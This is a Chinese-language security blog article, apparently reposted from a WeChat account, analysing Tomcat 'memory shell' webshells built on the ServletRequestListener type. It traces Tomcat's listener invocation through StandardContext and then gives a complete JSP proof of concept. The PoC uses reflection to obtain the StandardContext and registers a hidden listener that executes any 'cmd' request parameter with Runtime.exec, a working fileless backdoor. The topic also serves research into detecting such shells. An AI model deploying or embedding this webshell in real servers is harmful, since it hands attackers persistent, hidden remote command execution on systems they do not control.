Tomcat内存马之Listener内存马剖析

admin 2025年2月8日13:01:01评论6 views字数 5659阅读18分51秒阅读模式

基本介绍

Listener是一种Java组件,它主要用于监听和响应Tomcat容器中特定事件的发生,Tomcat中的Listener主要用于在Web应用程序的生命周期内执行各种操作,例如:初始化资源、销毁资源、处理会话事件等,根据事件源的不同,我们可以将Listener分为如下几种,其中ServletRequestListener最适合用来作内存马,它主要用来监听ServletRequest对象的,访问任意资源都会触发ServletRequestListener#requestInitialized()方法:

  • ServletContextListener:监听Web应用程序的启动和关闭事件,需要实现contextInitialized和contextDestroyed两个方法

  • ServletRequestListener:监听HTTP请求的创建和销毁事件,需要实现requestInitialized和requestDestroyed两个方法

  • HttpSessionListener:监听HTTP会话的创建和销毁事件,需要实现sessionCreated和sessionDestroyed两个方法

  • HttpSessionAttributeListener:监听HTTP会话属性的添加、删除和替换事件,需要实现attributeAdded、attributeRemoved和attributeReplaced三个方法

动态注册

Apache Tomcat 7开始支持Servlet 3.0,Servlet 3.0引入了一项重要的特性——动态注册功能,这一功能使得开发者能够在运行时动态地注册Servlets、Fliter、Listener,而无需在web.xml配置文件中进行静态配置,这种灵活性大大简化了Web应用程序的管理和扩展,同时也为我们构造Tomcat中间件内存马奠定了基础,而无论是使用xml配置文件还是使用Annotation注解配置,均由Web容器进行初始化,读取其中的配置属性,然后向容器中进行注册,Servlet、Listener、Filter都是由javax.servlet.ServletContext去加载,从下面我们可以看到ServletContext提供了add*/create*方法来实现动态注册的功能

Tomcat内存马之Listener内存马剖析

简易示例

下面我们创建一个简易的LIstener示例

package com.al1ex.servlet;import javax.servlet.*;import javax.servlet.annotation.WebListener;@WebListener("/test")public class ListenerTest implements ServletRequestListener {    @Override    public void requestDestroyed(ServletRequestEvent sre) {        System.out.println("[+] destroy TestListener");    }    @Override    public void requestInitialized(ServletRequestEvent sre) {        System.out.println("[+] initial TestListener");    }}

运行结果如下所示:

Tomcat内存马之Listener内存马剖析

调试分析

我们在requestInitialized方法处下断点进行调试分析:

Tomcat内存马之Listener内存马剖析

完整的调用栈如下所示:

requestInitialized:15, ListenerTest (com.al1ex.servlet)fireRequestInitEvent:5905, StandardContext (org.apache.catalina.core)invoke:125, StandardHostValve (org.apache.catalina.core)invoke:81, ErrorReportValve (org.apache.catalina.valves)invoke:690, AbstractAccessLogValve (org.apache.catalina.valves)invoke:87, StandardEngineValve (org.apache.catalina.core)service:343, CoyoteAdapter (org.apache.catalina.connector)service:615, Http11Processor (org.apache.coyote.http11)process:65, AbstractProcessorLight (org.apache.coyote)process:818, AbstractProtocol$ConnectionHandler (org.apache.coyote)doRun:1626, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)run:49, SocketProcessorBase (org.apache.tomcat.util.net)runWorker:1149, ThreadPoolExecutor (java.util.concurrent)run:624, ThreadPoolExecutor$Worker (java.util.concurrent)run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)run:748, Thread (java.lang)

StandardContext#fireRequestInitEvent调用了我们的Listener,我们跟进看其实现

Tomcat内存马之Listener内存马剖析

    public boolean fireRequestInitEvent(ServletRequest request) {        Object[] instances = this.getApplicationEventListeners();        if (instances != null && instances.length > 0) {            ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);            Object[] arr$ = instances;            int len$ = arr$.length;            for(int i$ = 0; i$ < len$; ++i$) {                Object instance = arr$[i$];                if (instance != null && instance instanceof ServletRequestListener) {                    ServletRequestListener listener = (ServletRequestListener)instance;                    try {                        listener.requestInitialized(event);                    } catch (Throwable var10) {                        Throwable t = var10;                        ExceptionUtils.handleThrowable(t);                        this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instance.getClass().getName()}), t);                        request.setAttribute("javax.servlet.error.exception", t);                        return false;                    }                }            }        }        return true;    }

可以看到这里首先通过getApplicationEventListeners()获取一个Listener数组,然后遍历数组调用listener.requestInitialized(event)方法触发Listener,随后我们跟进getApplicationEventListeners()方法:

Tomcat内存马之Listener内存马剖析

可以看到Listener实际上是存储在applicationEventListenersList属性中的

Tomcat内存马之Listener内存马剖析

而且我们可以通过StandardContext#addApplicationEventListener()方法来添加Listener

Tomcat内存马之Listener内存马剖析

注册实现

结合上面的分析我们可以得出Listener型内存马的实现步骤:

  • 获取StandardContext上下文

  • 实现一个恶意的Listener示例

  • 通过StandardContext#addApplicationEventListener方法添加恶意Listener

第一步实现

由于JSP内置了request对象,所以我们可以使用同样的方式来获取StandardContext上下文

<%    Field reqF = request.getClass().getDeclaredField("request");    reqF.setAccessible(true);    Request req = (Request) reqF.get(request);    StandardContext context = (StandardContext) req.getContext();%>

另外一种实现方式:

<%  WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();%>
第二步实现

接下来我们需要构造一个恶意的Listener类:

<%!    public class ListenerShell implements ServletRequestListener {        public void requestInitialized(ServletRequestEvent sre) {            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();            String cmd = request.getParameter("cmd");            if (cmd != null) {                try {                    Runtime.getRuntime().exec(cmd);                } catch (IOException e) {                    e.printStackTrace();                } catch (NullPointerException n) {                    n.printStackTrace();                }            }        }        public void requestDestroyed(ServletRequestEvent sre) {        }    }%>
第三步实现

随后我们通过StandardContext#addApplicationEventListener方法添加恶意Listener

<%  ListenerShell listenershell = new ListenerShell();    context.addApplicationEventListener(listenershell);%>

完整POC

完整的POC如下所示:

<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="java.lang.reflect.Field" %><%@ page import="java.io.IOException" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.catalina.connector.Request" %><%!    public class ListenerShell implements ServletRequestListener {        public void requestInitialized(ServletRequestEvent sre) {            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();           String cmd = request.getParameter("cmd");           if (cmd != null) {               try {                   Runtime.getRuntime().exec(cmd);               } catch (IOException e) {                   e.printStackTrace();               } catch (NullPointerException n) {                   n.printStackTrace();               }            }        }        public void requestDestroyed(ServletRequestEvent sre) {        }    }%><%    Field reqF = request.getClass().getDeclaredField("request");    reqF.setAccessible(true);    Request req = (Request) reqF.get(request);    StandardContext context = (StandardContext) req.getContext();    ListenerShell listenershell = new ListenerShell();    context.addApplicationEventListener(listenershell);%>

执行效果如下所示:

Tomcat内存马之Listener内存马剖析

随后访问任意路由并执行载荷:

Tomcat内存马之Listener内存马剖析

原文始发于微信公众号(七芒星实验室):Tomcat内存马之Listener内存马剖析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月8日13:01:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Tomcat内存马之Listener内存马剖析http://cn-sec.com/archives/3712785.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息